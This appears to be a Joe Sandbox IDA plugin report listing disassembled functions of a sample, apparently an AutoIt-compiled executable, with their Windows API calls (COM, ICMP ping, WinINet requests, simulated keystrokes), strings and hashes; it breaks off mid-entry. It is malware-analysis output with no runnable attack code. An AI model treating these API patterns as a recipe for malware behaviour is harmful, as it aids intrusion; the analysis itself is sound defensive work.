Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: a3806cde7d8e43b111b9e52c64daa16f3c0e1d6cfcfb3276374752c6f860e12b
Instruction ID: 0fab4b4d1bdf81c1905f343171d4d3abe157087b7a907553d752a5dbf8b08594
Opcode Fuzzy Hash: a3806cde7d8e43b111b9e52c64daa16f3c0e1d6cfcfb3276374752c6f860e12b
Instruction Fuzzy Hash: BD316B72500219ABDF119FA4CD08FDB3B68FF49324F100226FA58B61E0CB39D815DBA8

Function 003F458D Relevance: 16.8, APIs: 11, Instructions: 344fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 003F45B9
CoInitialize.OLE32(00000000), ref: 003F45E7
CoUninitialize.OLE32 ref: 003F45F1
_wcslen.LIBCMT ref: 003F468A
GetRunningObjectTable.OLE32(00000000,?), ref: 003F470E
SetErrorMode.KERNEL32(00000001,00000029), ref: 003F4832
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,?), ref: 003F486B
CoGetObject.OLE32(?,00000000,00410B64,?), ref: 003F488A
SetErrorMode.KERNEL32(00000000), ref: 003F489D
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 003F4921
VariantClear.OLEAUT32(?), ref: 003F4935

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize_wcslen
String ID:
API String ID: 429561992-0
Opcode ID: 4f8f5d58c82b8afe793ad4ac722c1c9c6382165b38a79322f25b651ce81fedc0
Instruction ID: 2403ed5401a7c5d0282b48a7f7e577e0a3164e751f068ef0f17ac102e5cd64cf
Opcode Fuzzy Hash: 4f8f5d58c82b8afe793ad4ac722c1c9c6382165b38a79322f25b651ce81fedc0
Instruction Fuzzy Hash: ADC146B16083059FD701EF68C88492BB7E9FF89748F10492DFA999B220DB71ED45CB52

Function 003E83F0 Relevance: 16.8, APIs: 11, Instructions: 298comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 003E844D
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 003E84E9
SHGetDesktopFolder.SHELL32(?), ref: 003E84FD
CoCreateInstance.OLE32(00410CD4,00000000,00000001,00437E8C,?), ref: 003E8549
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 003E85CE
CoTaskMemFree.OLE32(?,?), ref: 003E8626
SHBrowseForFolderW.SHELL32(?), ref: 003E86B1
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 003E86D4
CoTaskMemFree.OLE32(00000000), ref: 003E86DB
CoTaskMemFree.OLE32(00000000), ref: 003E8730
CoUninitialize.OLE32 ref: 003E8736

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
String ID:
API String ID: 2762341140-0
Opcode ID: 1cc744ad7f1a734d16cd83e8d91f0829a25ec200b89b5d9e34678bd54087875f
Instruction ID: fbaa67dc77a93ffdcf29786d8834c8421e43f02d0597ca6a5a2f09b99449a708
Opcode Fuzzy Hash: 1cc744ad7f1a734d16cd83e8d91f0829a25ec200b89b5d9e34678bd54087875f
Instruction Fuzzy Hash: 01C13A75A00159AFCB15DFA5C884DAEBBF9FF48304B1485A8E51AAB3A1CB30ED45CB50

Function 003D0318 Relevance: 16.6, APIs: 11, Instructions: 122memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 003D033F
SafeArrayAllocData.OLEAUT32(?), ref: 003D0398
VariantInit.OLEAUT32(?), ref: 003D03AA
SafeArrayAccessData.OLEAUT32(?,?), ref: 003D03CA
VariantCopy.OLEAUT32(?,?), ref: 003D041D
SafeArrayUnaccessData.OLEAUT32(?), ref: 003D0431
VariantClear.OLEAUT32(?), ref: 003D0446
SafeArrayDestroyData.OLEAUT32(?), ref: 003D0453
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 003D045C
VariantClear.OLEAUT32(?), ref: 003D046E
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 003D0479

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 212c096db27ea19fbff05f6b7208cda3f63706a805dbc8720ca2c87219ea5157
Instruction ID: c9f628cffe0a6ab8edc26d90ff98fa7c8ee732051ee1751da4f8b8195ebe0315
Opcode Fuzzy Hash: 212c096db27ea19fbff05f6b7208cda3f63706a805dbc8720ca2c87219ea5157
Instruction Fuzzy Hash: 9A417F35E00219DFCB05DFA5D848EAEBBB9FF48754F008069E955AB361CB30A945CFA0

Function 0040A8E5 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 260windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00372441: GetWindowLongW.USER32(00000000,000000EB), ref: 00372452

GetSystemMetrics.USER32(0000000F), ref: 0040A926
GetSystemMetrics.USER32(0000000F), ref: 0040A946
MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 0040AB83
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 0040ABA1
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 0040ABC2
ShowWindow.USER32(00000003,00000000), ref: 0040ABE1
InvalidateRect.USER32(?,00000000,00000001), ref: 0040AC06
DefDlgProcW.USER32(?,00000005,?,?), ref: 0040AC29

Strings

, xrefs: 0040AB37

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-3916222277
Opcode ID: 76efd2f9fb46aa6d625e5d253c625c1c4a82d6e7f5703f4e686939bb31b78993
Instruction ID: 3b2fafd9b2111d8325ab98f28181a774a3332563560b3de6111578bc680530c1
Opcode Fuzzy Hash: 76efd2f9fb46aa6d625e5d253c625c1c4a82d6e7f5703f4e686939bb31b78993
Instruction Fuzzy Hash: A6B19C31600319DFDF14CF68CA85BAE7BB2BF84701F09807AED45AB295D738A960CB55

Function 003F0EB8 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 207networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 003F0F19
inet_addr.WSOCK32(?), ref: 003F0F79
gethostbyname.WSOCK32(?), ref: 003F0F85
IcmpCreateFile.IPHLPAPI ref: 003F0F93
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 003F1023
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 003F1042
IcmpCloseHandle.IPHLPAPI(?), ref: 003F1116
WSACleanup.WSOCK32 ref: 003F111C

Strings

Ping, xrefs: 003F0FD3

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 178bc7d0cdda32f354f3cd85263e23eb8c868655dfe226f36d0ce8ec0a099015
Instruction ID: 79fda3f818c93cc4c420f6db32641576c726ddfd773852ceb019805aaa946817
Opcode Fuzzy Hash: 178bc7d0cdda32f354f3cd85263e23eb8c868655dfe226f36d0ce8ec0a099015
Instruction Fuzzy Hash: BD91C031604242DFD721DF15D884F26BBE4EF44318F1585A9F6698F6A2CB35EC85CB81

Function 003E8AEF Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 186timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 003E8BB1
SystemTimeToFileTime.KERNEL32(?,?), ref: 003E8BC1
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 003E8BCD
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 003E8C6A
SetCurrentDirectoryW.KERNEL32(?), ref: 003E8C7E
SetCurrentDirectoryW.KERNEL32(?), ref: 003E8CB0
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 003E8CE6
SetCurrentDirectoryW.KERNEL32(?), ref: 003E8CEF

Strings

*.*, xrefs: 003E8CF5

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local$System
String ID: *.*
API String ID: 1464919966-438819550
Opcode ID: 4f2b07b72ecf2f548898ab9961ebf09373eec337997442ae0d65ad8e3dbd960a
Instruction ID: 4a224832ef407a5b61971ed0a1f10d99f7d30db595d5f24f47ac8f6ad0c8d7c8
Opcode Fuzzy Hash: 4f2b07b72ecf2f548898ab9961ebf09373eec337997442ae0d65ad8e3dbd960a
Instruction Fuzzy Hash: 85619DB29043559FCB21EF60C84499FB3E8FF89314F04891EF9899B291DB35E945CB52

Function 004045A5 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowCOMMON

Download Yara Rule

APIs

CreateMenu.USER32 ref: 004045D8
SetMenu.USER32(?,00000000), ref: 004045E7
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 0040466F
IsMenu.USER32(?), ref: 00404683
CreatePopupMenu.USER32 ref: 0040468D
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 004046BA
DrawMenuBar.USER32 ref: 004046C2

Strings

0, xrefs: 004045B3
F, xrefs: 004046AD

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup
String ID: 0$F
API String ID: 161812096-3044882817
Opcode ID: b6041f78ac78b1cccd1121974aa99d36ff41a74d90ad4288b0f72a6f16346dc4
Instruction ID: 31c4f329a9c086f6b4f9a08e5eb9f162cd12631c24ee38280835610419a10329
Opcode Fuzzy Hash: b6041f78ac78b1cccd1121974aa99d36ff41a74d90ad4288b0f72a6f16346dc4
Instruction Fuzzy Hash: D8418BB4A01209EFDB14CFA4DD54AAA7BB5FF4A314F040429FA45A7390D739A924CF58

Function 003D276F Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 78windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0037B25F: _wcslen.LIBCMT ref: 0037B269

Part of subcall function 003D4536: GetClassNameW.USER32(?,?,000000FF), ref: 003D4559

SendMessageW.USER32(?,0000018C,000000FF,00020000), ref: 003D27F4
GetDlgCtrlID.USER32 ref: 003D27FF
GetParent.USER32 ref: 003D281B
SendMessageW.USER32(00000000,?,00000111,?), ref: 003D281E
GetDlgCtrlID.USER32(?), ref: 003D2827
GetParent.USER32(?), ref: 003D283B
SendMessageW.USER32(00000000,?,00000111,?), ref: 003D283E

Strings

ComboBox, xrefs: 003D277C
ListBox, xrefs: 003D27B1

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_wcslen
String ID: ComboBox$ListBox
API String ID: 711023334-1403004172
Opcode ID: f3dfc68ccafb5ec0ab014be8d07644eeb09f7315f7599c11495c5fcf049eba09
Instruction ID: 60f6e81e7632967f7e8e012d62e50566d4a73332a5b82343ff096bdbe96a92ff
Opcode Fuzzy Hash: f3dfc68ccafb5ec0ab014be8d07644eeb09f7315f7599c11495c5fcf049eba09
Instruction Fuzzy Hash: 7B210471D00118BBCF22EFA0DC84EEEBBB9EF15310F104566F951A72A2CB795809DB60

Function 003D2850 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 77windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0037B25F: _wcslen.LIBCMT ref: 0037B269

Part of subcall function 003D4536: GetClassNameW.USER32(?,?,000000FF), ref: 003D4559

SendMessageW.USER32(?,00000186,00020000,00000000), ref: 003D28D3
GetDlgCtrlID.USER32 ref: 003D28DE
GetParent.USER32 ref: 003D28FA
SendMessageW.USER32(00000000,?,00000111,?), ref: 003D28FD
GetDlgCtrlID.USER32(?), ref: 003D2906
GetParent.USER32(?), ref: 003D291A
SendMessageW.USER32(00000000,?,00000111,?), ref: 003D291D

Strings

ComboBox, xrefs: 003D285D
ListBox, xrefs: 003D2892

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_wcslen
String ID: ComboBox$ListBox
API String ID: 711023334-1403004172
Opcode ID: 2f2bb8dc014e56ff74dc196f2d746e4e9966a88031f065e147b45b930f9dedf3
Instruction ID: 490d42a827e912c815993dfc029b2ca107475af4f8bff6c2a298e10c6314569d
Opcode Fuzzy Hash: 2f2bb8dc014e56ff74dc196f2d746e4e9966a88031f065e147b45b930f9dedf3
Instruction Fuzzy Hash: E2210471D00118BBCF22AFA0DC44EEEFBB8EF14300F004426B990A7296D7794818DB20

Function 00404382 Relevance: 15.2, APIs: 10, Instructions: 182windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 004043FC
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 004043FF
GetWindowLongW.USER32(?,000000F0), ref: 00404426
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00404449
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 004044C1
SendMessageW.USER32(?,00001074,00000000,00000007), ref: 0040450B
SendMessageW.USER32(?,00001057,00000000,00000000), ref: 00404526
SendMessageW.USER32(?,0000101D,00001004,00000000), ref: 00404541
SendMessageW.USER32(?,0000101E,00001004,00000000), ref: 00404555
SendMessageW.USER32(?,00001008,00000000,00000007), ref: 00404572

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: MessageSend$LongWindow
String ID:
API String ID: 312131281-0
Opcode ID: faf0036b741f75d4df02ddc7cd7327cc75767349254aefaf0c5ab23f41219d3e
Instruction ID: 003c4521582a5ce5f96bfd7ff97920e9049eab14758d34bf2815a6947cb7d77c
Opcode Fuzzy Hash: faf0036b741f75d4df02ddc7cd7327cc75767349254aefaf0c5ab23f41219d3e
Instruction Fuzzy Hash: 1A617CB5A00208AFDB11DFA4CD81EEE77B8EB49314F10416AFA14A73E1C774A945DF58

Function 003ECBB0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 003ECBCF
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 003ECBF7
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 003ECC27
GetLastError.KERNEL32 ref: 003ECC7F
SetEvent.KERNEL32(?), ref: 003ECC93
InternetCloseHandle.WININET(00000000), ref: 003ECC9E

Strings

, xrefs: 003ECC18

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: 9bca4a4c7be8862928d53c98e3d36e9e6d7bbb91efeb54beb1b9bf73050beb06
Instruction ID: 9562585e6c6c7a5434b2759ab7deb031a406c33b7d178bdc8a2eb26845fa5af3
Opcode Fuzzy Hash: 9bca4a4c7be8862928d53c98e3d36e9e6d7bbb91efeb54beb1b9bf73050beb06
Instruction Fuzzy Hash: C931C2B1510354AFD7229F66CD88A6F7BFCEB49740B20162DF44AE7280D730D9069B61

Function 003DA12A Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 74windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,003B5437,?,?,Bad directive syntax error,0040DCD0,00000000,00000010,?,?), ref: 003DA14B
LoadStringW.USER32(00000000,?,003B5437,?), ref: 003DA152

Part of subcall function 0037B25F: _wcslen.LIBCMT ref: 0037B269

MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 003DA216

Strings

%s (%d) : ==> %s.: %s %s, xrefs: 003DA180
., xrefs: 003DA1FC
Line %d (File "%s"):, xrefs: 003DA1BC
Line %d:, xrefs: 003DA1A1
Error: , xrefs: 003DA1E4

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: HandleLoadMessageModuleString_wcslen
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 858772685-4153970271
Opcode ID: 45fd21633ddf60bcac1d202785e7dc1080754ae0ce60135abccb99a6aebac071
Instruction ID: 753141db054ad8467cd1eae56e0af7de5e1fea59f3611cb34eeb5245995436ba
Opcode Fuzzy Hash: 45fd21633ddf60bcac1d202785e7dc1080754ae0ce60135abccb99a6aebac071
Instruction Fuzzy Hash: 6521767280021EAFCF23AF90CC46FEE7B79BF18304F044456F519691A2DA75AA18EB51

Function 003D292F Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 71windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 003D293B
GetClassNameW.USER32(00000000,?,00000100), ref: 003D2950
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 003D29DD

Strings

list, xrefs: 003D29BF
details, xrefs: 003D298B
smallicons, xrefs: 003D29A5
largeicons, xrefs: 003D2971
SHELLDLL_DefView, xrefs: 003D295C

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: ClassMessageNameParentSend
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1290815626-3381328864
Opcode ID: ab7c1422be8e45111b2dc33add2b73b20ca8581931ef6ddb239ff501c1ca5b72
Instruction ID: d789c220ae43f0daf4dfeaf43b39c3a3ba5260cdd953c716edc36f75a645b191
Opcode Fuzzy Hash: ab7c1422be8e45111b2dc33add2b73b20ca8581931ef6ddb239ff501c1ca5b72
Instruction Fuzzy Hash: 3B11E37B644307BAFA022220EC17DE777DC9F25720F224123FA00E51D2EB7669625958

Function 003ECAA0 Relevance: 13.6, APIs: 9, Instructions: 95networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 003ECADF
GetLastError.KERNEL32 ref: 003ECAF2
SetEvent.KERNEL32(?), ref: 003ECB06

Part of subcall function 003ECBB0: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 003ECBCF
Part of subcall function 003ECBB0: GetLastError.KERNEL32 ref: 003ECC7F
Part of subcall function 003ECBB0: SetEvent.KERNEL32(?), ref: 003ECC93
Part of subcall function 003ECBB0: InternetCloseHandle.WININET(00000000), ref: 003ECC9E

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Internet$ErrorEventLast$CloseConnectHandleOpen
String ID:
API String ID: 337547030-0
Opcode ID: 95e4189cf1d9697a53bc887794d3b2a62cb6dfd5f3f71516e03bb20a3ab2deef
Instruction ID: e333267732cc260b8bbacac2369410a6a93782a15893f8dde19e3c4086c0223e
Opcode Fuzzy Hash: 95e4189cf1d9697a53bc887794d3b2a62cb6dfd5f3f71516e03bb20a3ab2deef
Instruction Fuzzy Hash: A631AF71610756AFDB229FB2CD45A6BBBF8FF04300B00562DF85697650D730E816DB60

Function 003D2E32 Relevance: 13.6, APIs: 9, Instructions: 60sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 003D42CC: GetWindowThreadProcessId.USER32(?,00000000), ref: 003D42E6
Part of subcall function 003D42CC: GetCurrentThreadId.KERNEL32 ref: 003D42ED
Part of subcall function 003D42CC: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,003D2E43), ref: 003D42F4

MapVirtualKeyW.USER32(00000025,00000000), ref: 003D2E4D
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 003D2E6B
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000), ref: 003D2E6F
MapVirtualKeyW.USER32(00000025,00000000), ref: 003D2E79
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 003D2E91
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000), ref: 003D2E95
